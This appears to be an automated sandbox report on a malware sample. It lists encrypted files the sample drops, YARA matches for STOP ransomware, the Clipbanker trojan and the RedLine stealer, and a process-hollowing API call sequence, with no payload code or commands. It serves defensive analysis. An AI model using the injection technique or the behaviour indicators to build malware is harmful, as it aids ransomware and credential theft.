Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgjs (copy) entropy: 7.99279375985	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgjs (copy) entropy: 7.99253115498	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000001c.db.bgjs (copy) entropy: 7.99827751211	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.bgjs (copy) entropy: 7.99829111526	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.bgjs (copy) entropy: 7.99804733186	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgjs (copy) entropy: 7.9932286308	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.bgjs (copy) entropy: 7.99707974043	Jump to dropped file
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\76561199673019888[1].htm entropy: 7.99482606898	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 26.2.mstsca.exe.8515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 26.2.mstsca.exe.8515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 26.2.mstsca.exe.8515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 26.2.mstsca.exe.8515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 30.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 28.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 27.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 27.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 27.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 27.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 28.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 19.2.mstsca.exe.9315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 19.2.mstsca.exe.9315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 19.2.mstsca.exe.9315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 19.2.mstsca.exe.9315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 13.2.build3.exe.8115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 13.2.build3.exe.8115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 13.2.build3.exe.8115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 13.2.build3.exe.8115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 30.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 8.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.rq0mVjR9ar.exe.5e515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.rq0mVjR9ar.exe.5e515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 24.2.rq0mVjR9ar.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 24.2.rq0mVjR9ar.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.rq0mVjR9ar.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.rq0mVjR9ar.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.rq0mVjR9ar.exe.5d915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.rq0mVjR9ar.exe.5d915a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.rq0mVjR9ar.exe.5df15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.rq0mVjR9ar.exe.5df15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.rq0mVjR9ar.exe.5e515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.rq0mVjR9ar.exe.5e515a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.rq0mVjR9ar.exe.5df15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.rq0mVjR9ar.exe.5df15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 24.2.rq0mVjR9ar.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 24.2.rq0mVjR9ar.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.rq0mVjR9ar.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.rq0mVjR9ar.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.rq0mVjR9ar.exe.5d915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.rq0mVjR9ar.exe.5d915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000014.00000002.4521193545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000014.00000002.4521193545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001B.00000002.2836752940.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001B.00000002.2836752940.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000010.00000002.2323452829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000010.00000002.2323452829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001D.00000002.3476597951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001D.00000002.3476597951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001A.00000002.2837488674.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001A.00000002.2837488674.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000C.00000002.2241288054.000000000448C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000D.00000002.2322724492.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000D.00000002.2322724492.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001F.00000002.4097186671.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001F.00000002.4097186671.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000009.00000002.2184061996.0000000001D7E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000018.00000002.2489597512.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001C.00000002.3477780994.00000000009F1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001C.00000002.3477575756.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001C.00000002.3477575756.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001A.00000002.2837732300.00000000009C1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001E.00000002.4097886310.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001E.00000002.4097886310.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000E.00000002.2257030961.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000E.00000002.2257030961.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000019.00000002.2501010675.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000019.00000002.2501010675.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000002.2096556256.0000000004239000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.2423775240.000000000097D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000018.00000002.2489371606.0000000004484000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.2423652569.0000000000930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000013.00000002.2423652569.0000000000930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.2113503553.0000000004499000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000D.00000002.2322981212.000000000083D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001E.00000002.4098002454.0000000000A01000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2066829815.0000000004430000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: Process Memory Space: rq0mVjR9ar.exe PID: 6764, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: rq0mVjR9ar.exe PID: 4324, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: rq0mVjR9ar.exe PID: 5792, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: rq0mVjR9ar.exe PID: 1320, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: rq0mVjR9ar.exe PID: 3984, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: rq0mVjR9ar.exe PID: 5156, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: rq0mVjR9ar.exe PID: 2496, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D90110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		0_2_05D90110
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E50110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		5_2_05E50110

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_00404F7E	0_2_00404F7E
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D93520	0_2_05D93520
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D97520	0_2_05D97520
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DBD7F1	0_2_05DBD7F1
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D9A79A	0_2_05D9A79A
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D9C760	0_2_05D9C760
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D9E6E0	0_2_05D9E6E0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D9A699	0_2_05D9A699
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DDB69F	0_2_05DDB69F
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DBD1A4	0_2_05DBD1A4
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DDE141	0_2_05DDE141
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D99120	0_2_05D99120
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DA00D0	0_2_05DA00D0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D930F0	0_2_05D930F0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D970E0	0_2_05D970E0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D9B0B0	0_2_05D9B0B0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D9B000	0_2_05D9B000
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DAF030	0_2_05DAF030
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D9A026	0_2_05D9A026
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D97393	0_2_05D97393
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DDE37C	0_2_05DDE37C
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05E122C0	0_2_05E122C0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D97220	0_2_05D97220
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D95DF7	0_2_05D95DF7
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D95DE7	0_2_05D95DE7
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DD2D1E	0_2_05DD2D1E
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DC4E9F	0_2_05DC4E9F
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D98E60	0_2_05D98E60
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D989D0	0_2_05D989D0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D959F7	0_2_05D959F7
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DBF9B0	0_2_05DBF9B0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DBE9A3	0_2_05DBE9A3
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D9A916	0_2_05D9A916
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DAA930	0_2_05DAA930
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DB18D0	0_2_05DB18D0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D97880	0_2_05D97880
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D9DBE0	0_2_05D9DBE0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D92B60	0_2_05D92B60
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DA0B00	0_2_05DA0B00
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D97A80	0_2_05D97A80
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D9CA10	0_2_05D9CA10
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040D240	2_2_0040D240
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00419F90	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040C070	2_2_0040C070
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0042E003	2_2_0042E003
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00408030	2_2_00408030
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00410160	2_2_00410160
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_004C8113	2_2_004C8113
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_004021C0	2_2_004021C0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0044237E	2_2_0044237E
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_004084C0	2_2_004084C0
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_004344FF	2_2_004344FF
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0043E5A3	2_2_0043E5A3
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040A660	2_2_0040A660
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0041E690	2_2_0041E690
